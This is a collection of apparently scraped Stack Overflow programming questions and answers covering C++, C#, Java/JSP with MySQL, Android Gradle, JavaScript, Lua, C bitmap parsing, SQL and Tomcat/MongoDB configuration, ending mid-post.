35761888	0	Why does c++ stick to this kind of symbol system? <p>The system I mean is the one where anything you want to reference has to be prototyped or defined either above your current line or in a referenced header, not sure if this has a name. </p> <p>I'm cool with headers but sometimes the necessity of forward prototypes forces me into writing really disjointed and hard to manage snippets. </p> <p>I get why it was a thing once upon a time but is there any reason modern c++ can't bring us the convenience of allowing definitions in any order, anywhere like the plethora of newer managed languages?</p>
21924596	0	 <p>Based on your question, I don't think inheritance is the best tool for the job. I say its not the best choice because you are not dealing with an "is a" relationship. I think you should consider using Events and Delegates to handle the communication between forms and subforms. The following MSDN article provides a good overview of <a href="http://msdn.microsoft.com/en-us/library/edzehd2t%28v=vs.110%29.aspx" rel="nofollow">Handling and Raising Events</a>. You also may want to refresh yourself on the .NET <a href="http://msdn.microsoft.com/en-us/library/vstudio/system.componentmodel.inotifypropertychanged%28v=vs.110%29" rel="nofollow">INotifyPropertyChanged Interface</a> if you using data binding in the subforms. </p>
32085596	0	 <p>The if statement is not reachable because you always showed <code>button1content</code></p> <pre><code> $('#button1content').toggle('show'); </code></pre> <p>So <code>var wasVisible = $("#button1content").is(":visible");</code> will always result to true</p>
1190042	0	 <p>I've had a lot of luck with <a href="http://www.elevatesoft.com/prodinfo?action=view&amp;product=dbisam&amp;no=1" rel="nofollow noreferrer">DBISAM</a>. It's been superseded by <a href="http://www.elevatesoft.com/prodinfo?action=view&amp;product=edb&amp;no=1" rel="nofollow noreferrer">ElevateDB</a>, which I would use for new projects.</p> <p>I also like that I can do an XCopy install.</p>
2719700	0	CIL and JVM Little endian to big endian in c# and java <p>I am using on the client C# where I am converting double values to byte array.</p> <p>I am using java on the server and I am using writeDouble and readDouble to convert double values to byte arrays.</p> <p>The problem is the double values from java at the end are not the double values at the begin giving to c# </p> <p>writeDouble in Java Converts the double argument to a long using the doubleToLongBits method , and then writes that long value to the underlying output stream as an 8-byte quantity, high byte first.</p> <p>DoubleToLongBits Returns a representation of the specified floating-point value according to the IEEE 754 floating-point "double format" bit layout.</p> <p>The Program on the server is waiting of 64-102-112-0-0-0-0-0 from C# to convert it to 1700.0 but he si becoming 0000014415464 from c# after c# converted 1700.0</p> <p>this is my code in c#:</p> <pre><code> class User { double workingStatus; public void persist() { byte[] dataByte; using (MemoryStream ms = new MemoryStream()) { using (BinaryWriter bw = new BinaryWriter(ms)) { bw.Write(workingStatus); bw.Flush(); bw.Close(); } dataByte = ms.ToArray(); for (int j = 0; j &lt; dataByte.Length; j++) { Console.Write(dataByte[j]); } } public double WorkingStatus { get { return workingStatus; } set { workingStatus = value; } } } class Test { static void Main() { User user = new User(); user.WorkingStatus = 1700.0; user.persist(); } </code></pre> <p>thank you for the help.</p>
14620735	0	update row in mysql table in jsp <p>i´m trying to update rows in <code>mysql table</code>, i´m using <code>html form</code> for data insertion. In html form attribute <code>value</code> i´m using an existing data from database.</p> <p>Edit.jsp</p> <pre><code>&lt;form action="Update.jsp"&gt; &lt;% Class.forName("com.mysql.jdbc.Driver").newInstance(); Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "root"); Statement st = con.createStatement(); ResultSet rs = st.executeQuery("select u.login,i.name,i.surname,i.age,i.tel,i.email,a.street,a.town,a.zip,ul.name,t.name from users u join info i on i.user_id=u.user_id join user_level ul on ul.ulevel=u.ulevel join teams t on t.team_id=u.team_id join adress a on a.info_id=i.info_id where u.login='" + session.getAttribute("uzivatel") + "'"); while (rs.next()) { %&gt; &lt;div class="well well-large"&gt; &lt;font size="2"&gt;&lt;b&gt;Welcome, &lt;/b&gt;&lt;/font&gt;&lt;font color="RED"&gt;&lt;i&gt;&lt;%= session.getAttribute("uzivatel")%&gt;&lt;/i&gt;&lt;/font&gt;&lt;br&gt; &lt;b&gt;Name:&lt;/b&gt; &lt;input type="text" name="name" value="&lt;%= rs.getString(2)%&gt;"&gt;&lt;input type="text" name="surname" value="&lt;%= rs.getString(3)%&gt;"&gt; &lt;br&gt; &lt;b&gt;Age:&lt;/b&gt; &lt;input type="text" name="age" value="&lt;%= rs.getString(4)%&gt;"&gt;&lt;br&gt; &lt;b&gt;Telephone:&lt;/b&gt; &lt;input type="text" name="tel" value="0&lt;%= rs.getString(5)%&gt;"&gt;&lt;br&gt; &lt;b&gt;E-mail:&lt;/b&gt; &lt;input type="text" name="email" value="&lt;%= rs.getString(6)%&gt;"&gt;&lt;br&gt; &lt;b&gt;Adress:&lt;/b&gt; &lt;input type="text" name="street" value="&lt;%= rs.getString(7)%&gt;"&gt;&lt;input type="text" name="town" value="&lt;%= rs.getString(8)%&gt;"&gt;&lt;input type="text" name="zip" value="&lt;%= rs.getString(9)%&gt;"&gt;&lt;br&gt; &lt;b&gt;User level:&lt;/b&gt; &lt;%= rs.getString(10)%&gt;&lt;br&gt; &lt;b&gt;Team:&lt;/b&gt; &lt;%= rs.getString(11)%&gt;&lt;br&gt; &lt;input type="submit" name="Submit" value="Update" /&gt; &lt;/div&gt; &lt;/form&gt; </code></pre> <p>Update.jsp</p> <pre><code>&lt;% String name = request.getParameter("name"); String surname = request.getParameter("surname"); String age = request.getParameter("age"); String telephone = request.getParameter("tel"); String email = request.getParameter("email"); String street = request.getParameter("street"); String town = request.getParameter("town"); String zip = request.getParameter("zip"); try { Connection conn = null; Class.forName("com.mysql.jdbc.Driver").newInstance(); conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "root"); Statement st1 = null; st1 = conn.createStatement(); System.out.println(session.getAttribute("uzivatel")); st1.executeUpdate("UPDATE users JOIN info ON users.user_id = info.user_id" + " JOIN adress ON info.info_id = adress.info_id" + "SET info.name = '"+name+"',info.surname = '"+surname+"'," + "info.age = '"+age+"',info.tel = '"+telephone+"',info.email = '"+email+"'," + "adress.street = '"+street+"',adress.town = '"+town+"',adress.zip = '"+zip+"'," + "WHERE users.login ='" + session.getAttribute("uzivatel") + "' "); response.sendRedirect("AdministrationControlPanel.jsp"); } catch (Exception e) { System.out.println(e.getMessage()); } %&gt; </code></pre> <p>When I pressed the Submit button, it redirected me to <code>Update.jsp</code> and nothing was changed.</p>
21497181	0	gradle, Could not expand ZIP appcompat-v7:19.0.1 <p>I've a problem with android studio adn gradle to import appcompat-v7.</p> <p>So here is my build.gradle in the src directory</p> <pre><code>apply plugin: 'android' apply plugin: 'android-apt' def AAVersion = '3.0.1' android { compileSdkVersion 19 buildToolsVersion "19.0.1" defaultConfig { minSdkVersion 10 targetSdkVersion 19 versionCode 1 versionName "1.0" packageName "com.test" } buildTypes { release { runProguard false proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.txt' } } } apt { arguments { resourcePackageName android.defaultConfig.packageName androidManifestFile variant.processResources.manifestFile } } dependencies { // You must install or update the Support Repository through the SDK manager to use this dependency. // The Support Repository (separate from the corresponding library) can be found in the Extras category. compile 'com.android.support:support-v4:19.0.1' // You must install or update the Support Repository through the SDK manager to use this dependency. // The Support Repository (separate from the corresponding library) can be found in the Extras category. compile 'com.android.support:appcompat-v7:19.0.1' // android annotations compile "org.androidannotations:androidannotations-api:$AAVersion" apt "org.androidannotations:androidannotations:$AAVersion" } </code></pre> <p>But I get the following error</p> <pre><code>Execution failed for task ':app:prepareComAndroidSupportAppcompatV71901Library'. &gt; Could not expand ZIP '/opt/android-sdk/extras/android/m2repository/com/android/support/appcompat-v7/19.0.1/appcompat-v7-19.0.1.aar'. </code></pre> <p>How can I solve my problem ? Thx in advance</p>
31906682	0	Javascript: What is the benefit of two sets of parentheses after function call <p>I understand that in Javascript a function can return another function and it can be called immediately. But I don't understand the reason to do this. Can someone please explain the reason and benefit why you might want to do this in your code? Also, is the function that returns 'hello' considered a closure? </p> <pre><code>function a () { return function () { console.log('hello'); } } //then calling the function a()(); </code></pre>
36926078	0	 <p>A variation of your overall approach but with the same end result.</p> <pre><code>PATTERN = '^v (%S+) (%S+) (%S+)$' fo = io.open('object.lua','w') i = 1 for line in io.lines('file.txt') do if line:match(PATTERN) then line = line:gsub(PATTERN,'Node'..i..'= {x=%1, y=%2, z=%3}') print(line) fo:write(line,'\n') i = i + 1 end end fo:close() </code></pre>
39927136	0	Javascript swapping values <p>I need to be able to go through a randomized 3 x 3 matrix and check to see if the numbers are in order (i.e. that the top row is 1-3, center 4-6 and bottom 7-9). So far i wrote this function in JS:</p> <pre><code>function winningorder(topleft, topcenter, topright, centerleft, centercenter, centerright, bottomleft, bottomcenter, bottomright){ if(document.getElementById(topleft).innerHTML = 1 &amp;&amp; document.getElementById(topcenter).innerHTML = 2 &amp;&amp; document.getElementById(topright).innerHTML = 3 &amp;&amp; document.getElementById(centerleft).innerHTML = 4 &amp;&amp; document.getElementById(centercenter).innerHTML = 5 &amp;&amp; document.getElementById(centerright).innerHTML = 6 &amp;&amp;document.getElementById(bottomleft).innerHTML = 7 &amp;&amp; document.getElementById(bottomcenter).innerHTML = 8 &amp;&amp; document.getElementById(bottomright).innerHTML = 9){ setTimeout(function(){ alert("Well Done!"); }, 250); } </code></pre> <p>I do not know if i need to put all the locations (the HTML id of each cell) as the parameters, so that is my first question. Secondly, where would i put my function in the HTML code. the code is:</p> <pre><code>&lt;table border=1&gt; &lt;tr class="numberrow"&gt; &lt;td id="topleft" class="numbertile" onclick="processclick(this.id)" onchange=="winningorder(id)" &gt;&lt;/td&gt; &lt;td id="topcenter" class="numbertile" onclick="processclick(this.id)" onchange=="winningorder(id)"&gt;&lt;/td&gt; &lt;td id="topright" class="numbertile" onclick="processclick(this.id)" onchange=="winningorder(id)"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr class="numberrow"&gt; &lt;td id="centerleft" class="numbertile" onclick="processclick(this.id)" onchange=="winningorder(id)"&gt;&lt;/td&gt; &lt;td id="centercenter" class="numbertile" onclick="processclick(this.id)" onchange=="winningorder(id)"&gt;&lt;/td&gt; &lt;td id="centerright" class="numbertile" onclick="processclick(this.id)" onchange=="winningorder(id)"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr class="numberrow"&gt; &lt;td id="bottomleft" class="numbertile" onclick="processclick(this.id)" onchange=="winningorder(id)"&gt;&lt;/td&gt; &lt;td id="bottomcenter" class="numbertile" onclick="processclick(this.id)" onchange=="winningorder(id)"&gt;&lt;/td&gt; &lt;td id="bottomright" class="numbertile" onclick="processclick(this.id)" onchange=="winningorder(id)"&gt;&lt;/td&gt; &lt;/tr&gt; </code></pre> <p></p> <p>My first though was to use an onchange event and run the function but that is not working. Thanks for any help!</p>
29712671	0	 <p>Can I have a second please...</p> <blockquote> <p>WTTTTFFFFFFF</p> </blockquote> <p>ok now that I got that out, the problem was that I declared the <code>physicsBody</code> AFTER setting the <code>categoryBitMask</code>. so switching this:</p> <pre><code>override func didMoveToView(view: SKView) { physicsWorld.contactDelegate = self physicsBody?.categoryBitMask = PhysicsCategory.Scene physicsBody?.contactTestBitMask = PhysicsCategory.Player physicsWorld.gravity = CGVectorMake(0, -2) physicsBody = SKPhysicsBody(edgeLoopFromRect: self.frame)//this line moves up physicsBody?.usesPreciseCollisionDetection = true setUpPlayer() } </code></pre> <p>to this:</p> <pre><code>override func didMoveToView(view: SKView) { physicsWorld.contactDelegate = self physicsBody = SKPhysicsBody(edgeLoopFromRect: self.frame)//to here physicsBody?.categoryBitMask = PhysicsCategory.Scene physicsBody?.contactTestBitMask = PhysicsCategory.Player physicsWorld.gravity = CGVectorMake(0, -2) physicsBody?.usesPreciseCollisionDetection = true setUpPlayer() } </code></pre> <p>fixed this issue...</p>
27612892	0	 <p>You could transform the data you received into an <code>Ember.Object</code> and add it to a controller property.</p> <p>Sample controller code:</p> <pre><code>Ember.Controller.extend({ objects: [], jsonRequest: function() { Ember.$.ajax({/* your request */}).then(function(data) { var object = /* code to turn the data into an object for display */; this.get('objects').pushObject(object); }.bind(this)); } }); </code></pre> <p>Then in your template, you can just iterate over the model array:</p> <pre><code>{{#each object in objects}} display object properties here {{/each}} </code></pre> <p>The specifics of how to turn the JSON into an object for display, and how to display the object, are dependent on your needs.</p>
1410828	0	 <p>After much research last night, I found this as the answer for the server side. Then write a php script for the client side. Then have ajax call the client which calls the server. Only problem is some of the extensions have to be manually installed.</p> <p><a href="http://php-mag.net/itr/online_artikel/psecom,id,484,nodeid,114.html" rel="nofollow noreferrer">http://php-mag.net/itr/online_artikel/psecom,id,484,nodeid,114.html</a></p>
18612094	0	 <p>instead of using a long cast you should cast to size_t.</p> <p>int val= (int)((size_t)arg);</p>
37388012	0	 <p>Give <code>display: inline-block;</code> and change to <code>background-size: 100%;</code> will work for you.</p> <pre><code>.tjbtn, .tjbtn--orange, .tjbtn--green { font-size: 1em; color: #fff; text-decoration: none; font-weight: bold; background-repeat: no-repeat; background-size: 100%; background-position: center center; padding: 1em; line-height: 3em; text-transform: uppercase; letter-spacing: 2px; background-image: url("http://tj.cadman.ws/button_bg_orange.svg"); display: inline-block; } </code></pre> <p><strong><a href="https://jsfiddle.net/ob0nmytt/" rel="nofollow">Fiddle</a></strong></p>
35848633	0	 <p>To get the data in ASCII add CCSID 1208 (819 is not possible) in the XmlSerialize function and make sure that the ifs-file doesn't exist. Otherwise it would keep the file CCSID</p> <pre><code> XMLSERIALIZE( XMLDOCUMENT( XMLELEMENT(NAME "document", XMLELEMENT(NAME "elements", XMLAGG(elements.element) ) ) ) AS CLOB CCSID 1208 INCLUDING XMLDECLARATION ) AS Response </code></pre> <p>And make sure that your machine QCCSID is set to something other than 65535 (that's always causing lots of Problems with conversion aka not converting automatically).</p>
38550133	1	vectorizing sliding window 2d correlation <p>I have two matrices, call them matrix A and matrix B.</p> <ul> <li>A is n_1*n_2</li> <li>B is m_1*m_2</li> </ul> <p>for the sake of simplicity I will assume <code>n_1&lt;m_1</code>, <code>n_2&lt;m_2</code>.</p> <p>I would like to calculate the sliding window correlation between the two, i.e. I convert A to be <code>n_1*n_2</code> vector, and I run 2 loops over B on for rows the other for columns, iteration I pick the first <code>n_1,n_2</code> rows and columns of B, convert them to a vector and then calculate the correlation between them.</p> <p>Is there a way of vectorizing it to reduce the loops?</p>
30044755	0	composer create-project - command donot work <p>I have my project on github containing composer.json in the root directory. This is how my composer.json code looks like:</p> <pre><code>{ "name": "vendor/projectname", "description": "My first Composer project", "authors": [ { "name": "John Deo", "email": "johndeo@demo.com" } ], "prefer-stable": true, "minimum-stability": "dev", "require": { "php": "~5.3" } } </code></pre> <p>I had defined/submited my package on packagist.org.</p> <p>Now when I try to get the project in my localhost using <code>composer create-project - commands</code> one of its work and another do not work.</p> <pre><code>1. composer create-project -s dev vendor/projectname &gt;&gt; WORKS 2. composer create-project vendor/projectname &gt;&gt; DO NOT WORK </code></pre> <p>Can someone please tell why the second command does not work. What am I missing or doing wrong? Please Help!</p>
398193	0	 <p>This is what transactions are for. Your booking code should BEGIN a transaction, confirm that the time is available using SELECT, and if it is available, INSERT or UPDATE the database to make the reservation, finally COMMITing the transaction. </p> <p>If the time is not available, either don't INSERT or UPDATE the database to make the reservation, or ROLLBACK the transaction.</p>
11368162	0	8Bit Grayscale Bitmap to Array <p>I am wondering, from here how would I go about storing the pixel values into a matrix? I would like to print out the intensity (grayscale) value.</p> <p>Example Array[5] = 4 Or Array[3][1] = 17</p> <p>I really have no idea how to go about this. All the examples I see seem way to complicated, is there a simple way to do this?</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; struct BitMap { short Type; long Size; short Reserve1; short Reserve2; long OffBits; long biSize; long biWidth; long biHeight; short biPlanes; short biBitCount; long biCompression; long biSizeImage; long biXPelsPerMeter; long biYPelsPerMeter; long biClrUsed; long biClrImportant; }Header; int main( void ){ FILE *BMPFile = fopen ("MriHotrod.bmp", "rb"); if(BMPFile == NULL){ return; } unsigned char DataBuff[128*128]; int i; int j; memset(&amp;Header, 0, sizeof(Header)); fread(&amp;Header.Type, 2, 1, BMPFile); fread(&amp;Header.Size, 4, 1, BMPFile); fread(&amp;Header.Reserve1, 2, 1, BMPFile); fread(&amp;Header.Reserve2, 2, 1, BMPFile); fread(&amp;Header.OffBits, 4, 1, BMPFile); fread(&amp;Header.biSize, 4, 1, BMPFile); fread(&amp;Header.biWidth, 4, 1, BMPFile); fread(&amp;Header.biHeight, 4, 1, BMPFile); fread(&amp;Header.biPlanes, 2, 1, BMPFile); fread(&amp;Header.biBitCount, 2, 1, BMPFile); fread(&amp;Header.biCompression, 4, 1, BMPFile); fread(&amp;Header.biSizeImage, 4, 1, BMPFile); fread(&amp;Header.biXPelsPerMeter, 4, 1, BMPFile); fread(&amp;Header.biYPelsPerMeter, 4, 1, BMPFile); fread(&amp;Header.biClrUsed, 4, 1, BMPFile); fread(&amp;Header.biClrImportant, 4, 1, BMPFile); printf("\nType:%hd\n", Header.Type); printf("Size:%ld\n", Header.Size); printf("Reserve1:%hd\n", Header.Reserve1); printf("Reserve2:%hd\n", Header.Reserve2); printf("OffBits:%ld\n", Header.OffBits); printf("biSize:%ld\n", Header.biSize); printf("Width:%ld\n", Header.biWidth); printf("Height:%ld\n", Header.biHeight); printf("biPlanes:%hd\n", Header.biPlanes); printf("biBitCount:%hd\n", Header.biBitCount); printf("biCompression:%ld\n", Header.biCompression); printf("biSizeImage:%ld\n", Header.biSizeImage); printf("biXPelsPerMeter:%ld\n", Header.biXPelsPerMeter); printf("biYPelsPerMeter:%ld\n", Header.biYPelsPerMeter); printf("biClrUsed:%ld\n", Header.biClrUsed); printf("biClrImportant:%ld\n\n", Header.biClrImportant); fread(DataBuff, sizeof(DataBuff), 128*128, BMPFile); for(i=0; i&lt;20; i++){ printf("%d\n", DataBuff[i]); } fclose(BMPFile); return 0; } Output Type:19778 Size:17462 Reserve1:0 Reserve2:0 OffBits:1078 biSize:40 Width:128 Height:128 biPlanes:1 biBitCount:8 biCompression:0 biSizeImage:0 biXPelsPerMeter:0 biYPelsPerMeter:0 biClrUsed:256 biClrImportant:0 0 0 0 0 1 1 1 0 2 2 2 0 3 3 3 0 4 4 4 0 </code></pre> <p>I think the header info is correct, and the number of elements is correct (16384). I am just unsure how to print out the pixel values. The above is clearly not right...</p> <p>Does this have to do with padding?</p> <p>Thanks!</p>
21418662	0	 <p>It might be trying to attach the event before the element is ready. Be sure to attached the handler after the DOM is fully loaded.</p> <pre><code>$(function() { $('#hello-world').submit(function(ev) { ev.preventDefault(); // to stop the form from submitting alert("form submitted"); }); }); </code></pre> <p><a href="http://api.jquery.com/ready/" rel="nofollow">http://api.jquery.com/ready/</a></p>
34264327	0	 <p>I put the params driver-memory 40G in the spark-submit,and Then solve it.</p>
30131708	0	Not able to generate a unique user-number <p>I have a problem when I'm trying to generate a unique customer-id in my application. I want the numbers to start from 1 and go up. I have a register-class using tree-map that generates the next customer-number using this code:</p> <pre><code>public String generateNumber() { int number = 1; for(Map.Entry&lt;String, Forsikringkunde&gt; entry : this.entrySet()) { if(entry.getValue().getNumber().equals(String.valueOf(number))) { number++; } }return String.valueOf(number); } </code></pre> <p>When I generate customers in my application I get duplicates of the numbers even though I iterate through the map. When creating a customer I create the object, run this method, use a set-method for the ID and adds it to the register, but it doesn't work. Anyone have a solution?</p>
34487352	0	 <p>You could search for any characters <strong>not</strong> in the list (a "negated <a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/RegExp#character-sets" rel="nofollow">character set</a>"):</p> <pre><code>var badUsername = /[^a-zA-Z0-9_]/; console.log(!badUsername.test("HELO $")); </code></pre> <p>or more simply</p> <pre><code>var badUsername = /\W/; </code></pre> <p>since <code>\W</code> is defined as</p> <blockquote> <p>Matches any character that is not a word character from the basic Latin alphabet. Equivalent to <code>[^A-Za-z0-9_]</code>.</p> </blockquote> <p>If you prefer to do a positive match, using anchors as other answers have suggested, you can shorten your regexp by using <code>\w</code>:</p> <pre><code>var goodUsername = /^\w+$/; </code></pre>
26521132	0	 <p>I disagree with the solution suggesting 2 left joins. I think a table-valued function is more appropriate so you don't have all the coalescing and additional joins for each condition you would have.</p> <pre><code>CREATE FUNCTION f_GetData ( @Logic VARCHAR(50) ) RETURNS @Results TABLE ( Content VARCHAR(100) ) AS BEGIN IF @Logic = '1234' INSERT @Results SELECT Content FROM Table_1 ELSE INSERT @Results SELECT Content FROM Table_2 RETURN END GO SELECT * FROM InputTable CROSS APPLY f_GetData(InputTable.Logic) T </code></pre>
39565298	1	pandas dataframe look ahead optimization <p>What's the best way to do this with pandas dataframe? I want to loop through a dataframe, and find the nearest next index that has at least +/-2 value difference. For example: [100, 99, 102, 98, 103, 103] will create a new column with this [2, 2, 3, 0, N/A], 0 means not find.</p> <p>My solution performance is n * log(n). Any brilliant people could please show me a better performance solution?</p>
31001033	0	 <p>I have faced certain issue when UI doesn't responds well one of issue was realetd with Jtable data and updating it in non swing thread. So you can try putting your code in a Swing thread,precisely in a Worker thread</p> <pre><code>SwingWorker&lt;Void, Void&gt; worker = new SwingWorker&lt;Void, Void&gt;() { @Override protected Void doInBackground() throws Exception { for (int i = 0; i &lt; table1.getRowCount(); i++) { int modelIndex = table1.convertRowIndexToModel(i); String status = table1.getModel().getValueAt(modelIndex, 9).toString(); if (status.equalsIgnoreCase("Cleared")) { deleteRow(table1, table1Model, i); } } return null; } public void deleteRow(JTable table, DefaultTableModel model, int rowNo) { try{ model.removeRow(rowNo); model.fireTableDataChanged(); table.setModel(model); }catch(ArrayIndexOutOfBoundsException |NullPointerException a){} } }; worker.execute(); </code></pre>
26748141	0	can't find mpif.h compiling error? <p>i have download a big ecosystem model (Ecosystem Demography) which must e compiled in linux and it uses MPI and hdf5. i have installed the mpich (on centOS 7) to compile the ED model with Gfortran compiler. but it gives me the famous error </p> <pre><code>Can't find file: mpif.h </code></pre> <p>i have looked for the file by "which mpif.h" and it returns nothing so i set the PATH as follow :</p> <pre><code>PATH=/home/hamid/edpacks/mpich-install/bin:$PATH export PATH </code></pre> <p>now which mpif.h returns the path to the file but again when i try to ./install the model it give me the same error. problem is i don't know how to set this path and also path to mpich from inside the model. Do i have to set the path from include file or makefile? </p>
40629423	0	 <p>It is not too pretty but you could use your first list and then select from the second list with <code>FirstOrDefault</code>.</p> <p>The last <code>Where</code> is to be sure you do not include nulls if the first <code>SelectedUser</code> is not found in the <code>objValidateUserList</code> list.</p> <pre><code>var sortedList = SelectedUser.Select( sortedListUser =&gt; objValidateUserList.FirstOrDefault(nonSortedListUser =&gt; nonSortedListUser.value == sortedListUser)) .Where(x =&gt; x != null); </code></pre> <p>Hope it helps!</p>
26202667	0	In AngularJS, how does $scope get passed to scope? <p>I'm a bit confused with the use of <strong>$scope</strong> in controllers and of <strong>scope</strong> in directives. Please verify if my understanding is correct (and also provide some alternative ways how to do this).</p> <p>Let's say I have an html:</p> <pre><code>&lt;div ng-controller="app1_Ctrl"&gt; . . . &lt;input type="text" ng-model="value"/&gt; &lt;input type="checkbox" /&gt; &lt;button ng-click="submit()"&gt;&lt;/button&gt; &lt;/div&gt; </code></pre> <p>And my main.js</p> <pre><code>(function() { angular.module('mainApp', ['app1']); })(); </code></pre> <p>And my app1 looks like this (based on official AngularJS documentation <a href="https://docs.angularjs.org/guide/directive" rel="nofollow">here</a>)</p> <pre><code>(function() { var app = angular.module('app1', []); app.controller('app1_Ctrl', ["$scope", function($scope) { . . . }]); app.directive('app1_Dir1', [function() { function link(scope, element, attr) { scope.$watch(attr.someAttrOfCheckBox, function() { // some logic here }); function submit() { // some logic here } } return link; }]); })(); </code></pre> <p>How does $scope.value passed in scope in directive so that I can do some manipulations there? Will ng-click fire the function submit() in the directive link? Is it correct to use scope.$watch to listen for an action (ticked or unticked of course) in checkbox element?</p> <p>Many thanks to those who can explain.</p>
39661459	0	 <p>I had the same problem, that it ended there and even refreshing the simulator didn't make the packager to go on. Than I figured it out: I was still connected to the Internet via a VPN, so the simulator couldn't connect to the packager. Simply closing the VPN solved the issue.</p>
26893775	0	 <p>Try something like</p> <pre><code>connect(Bgn,End,Path) :- % to find a path between two nodes in the graph connected(Bgn,End,[],P) , % - we invoke the helper, seeding the visited list as the empty list reverse(P,Path) % - on success, since the path built has stack semantics, we need to reverse it, unifying it with the result . connected(X,Y,V,[X,Y|V]) :- % can we get directly from X to Y? path(X,_,Y) % - if so, we succeed, marking X and Y as visited . % connected(X,Y,V,P) :- % otherwise... path(X,_,T) , % - if a path exists from X to another room (T) T \= Y , % - such that T is not Y \+ member(X,V) , % - and we have not yet visited X connected(T,Y,[X|V],P) % - we continue on, marking X as visited. . </code></pre> <p>You'll note the test for having visited the room before. If your graph has cycles, if you don't have some sort of test for having previously visited the node, you'll wind up going around and around in circles...until you get a stack overflow.</p>
23603770	0	 <p>Upgrading comment to an answer;</p> <p>Seems you are using <code>HSSF</code> instead of <code>XSSF</code> for xlsx. Hence, though <a href="https://poi.apache.org/apidocs/org/apache/poi/hssf/usermodel/HSSFRichTextString.html" rel="nofollow"><code>HSSFRichTextString</code></a> is valid for an <code>HSSFCell</code>, you need <code>XSSFCell</code> instead and then set its value with <a href="https://poi.apache.org/apidocs/org/apache/poi/xssf/usermodel/XSSFRichTextString.html" rel="nofollow"><code>XSSFRichTextString</code></a>.</p>
16179110	0	 <p>That is not valid JSON, so you cannot do it with standard methods.</p> <p>You either have to escape the quotes like this: <code>"sport is \" "</code> or else you need to write your own sanitizer</p>
12745199	0	loading another tableview when a tablecell of one tableview is clicked returning error:"Program received signal SIGABRT" <p>I am creating an app in which there are two UIViews and in those UIViews I am loading Tableviews.. When I click a tablecell in one TableView then I am unable to redirect it to another TableView and getting error:Program received signal SIGABRT.But if I want to load a UIView when a tablecell is clicked it gets executed perfectly.I couldn't understand where Am I going wrong.... This is the code i'm writing</p> <pre><code> ViewController1: #import ViewController2.h" -(void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { ViewController2 *v2 = [ViewController alloc] initWithNibName:@"ViewController2" bundle:[NSBundle mainBundle]]; [self presentModalViewController:v2 animated:NO]; **//getting error at this line** [v2 release]; } ViewController2.h #import"ViewController1.h" - (void)viewDidLoad { [super viewDidLoad]; tableView1 = [[UITableView alloc]initWithFrame:CGRectMake(10, 10, 320, 460)]; tableView1.delegate = self; tableView1.dataSource = self; [self.view addSubview:tableView1]; } </code></pre> <p>Couldn't understand what could be the possible cause of this error..</p>
5515157	1	Python web service for a java application? <p>Forgive me if this is a stupid question. I am completely new to building web services and complete web apps. I want to develop a particular functionality for a java based web application. However this functionality is simpler to develop with Python. So is it possible If i develop this web service with Python and use it for a Java based webapp?</p>
13270995	0	 <p>I might have simplified my example a little to much. The data in A,B,C might be non-numeric and not sorted and so forth.</p> <p>I found last_value() <a href="http://www.oracle.com/technetwork/issue-archive/2006/06-nov/o66asktom-099001.html" rel="nofollow">http://www.oracle.com/technetwork/issue-archive/2006/06-nov/o66asktom-099001.html</a> fit very well with this which would return:</p> <pre> A B C | Id 1 2 3 | 1 1 4 5 | 1 1 4 6 | 1 </pre> <p>for me to operate furhter on.</p> <p>Then the query looks something like this:</p> <pre><code>select distinct last_value(a ignore nulls) over (order by id) a, last_value(b ignore nulls) over (order by id) b, last_value(c ignore nulls) over (order by id) c from datatable where datatable.id IN (select id from datatable where datatable.id = 1) </code></pre>
25294939	0	How to make a JButton add user input to an ArrayList and display it in a JList <p>I have an app that contains 3 classes - main gui (Book), add, contact.</p> <p>I have a JList in my phonebook class. I have a dialog window as my add class as it needs to add a contact, now I can add the data but storing it into an array and then placing that into a JList is proving tricky.</p> <p>Would anyone be able to help? I am new to java and I understand that I will need to use defaultListModel at some point but I don't quite understand where</p> <p>My button in the add class is called btnOK my arraylist is just ArrayListcontact my JList is just called list.</p> <p>Thanks to anyone who can help!</p>
25908146	0	Need help on a specific Regex <p>I want to validate an attribute of an xml file with an XSD file. This attribute must contain a list of comma-separated languages, like this :</p> <pre><code>&lt;Params languages="English,French,Spanish" /&gt; // OK &lt;Params languages="French,Spanish" /&gt; // OK &lt;Params languages="French" /&gt; // OK &lt;Params languages="English,French,Spanish,French" /&gt; // NOK (Two times French) &lt;Params languages="English,Spanish,French," /&gt; // NOK (Comma at the end) </code></pre> <p>So i try to write a regex pattern to validate this. Here are the constraints :</p> <ul> <li>I must have at least one language</li> <li>I cannot have a comma at the end of the string</li> <li>I one language can appear only one time in the string</li> <li><strong>EDIT : I have an important list of possible languages</strong></li> </ul> <p>The two last constraints are the problem, i don't know how to do it.</p> <p>Here is what i got now : </p> <pre><code>^[English,|French,|Spanish,...]+$ </code></pre> <p>But it's really poor. Thanks for your help.</p>
20402214	0	Set mongo db via JNDI in Tomcat <p>i have a persistence.xml with the following structure:</p> <pre><code>&lt;persistence-unit name="contacts_nosql" transaction-type="RESOURCE_LOCAL"&gt; &lt;provider&gt;org.eclipse.persistence.jpa.PersistenceProvider&lt;/provider&gt; &lt;jta-data-source&gt;java:comp/env/jdbc/MY_DS&lt;/jta-data-source&gt; &lt;class&gt;com.mydomain.model.User&lt;/class&gt; &lt;properties&gt; &lt;property name="eclipselink.target-database" value="org.eclipse.persistence.nosql.adapters.mongo.MongoPlatform"/&gt; &lt;property name="eclipselink.nosql.connection-spec" value="org.eclipse.persistence.nosql.adapters.mongo.MongoConnectionSpec"/&gt; &lt;property name="eclipselink.nosql.property.mongo.port" value="27017"/&gt; &lt;property name="eclipselink.nosql.property.mongo.host" value="someurl.de"/&gt; &lt;property name="eclipselink.nosql.property.mongo.db" value="mydb"/&gt; &lt;property name="eclipselink.logging.level" value="FINEST"/&gt; &lt;/properties&gt; &lt;/persistence-unit&gt; </code></pre> <p>I want to set the properties via JNDI. I thought it is enough to write the following into the context.xml of the tomcat:</p> <pre><code>&lt;Resource name="jdbc/MY_DS" auth="Container" type="javax.sql.DataSource" maxActive="100" maxIdle="20" maxWait="10000" username="myuser" password="mypwd" driverClassName="com.mysql.jdbc.Driver" 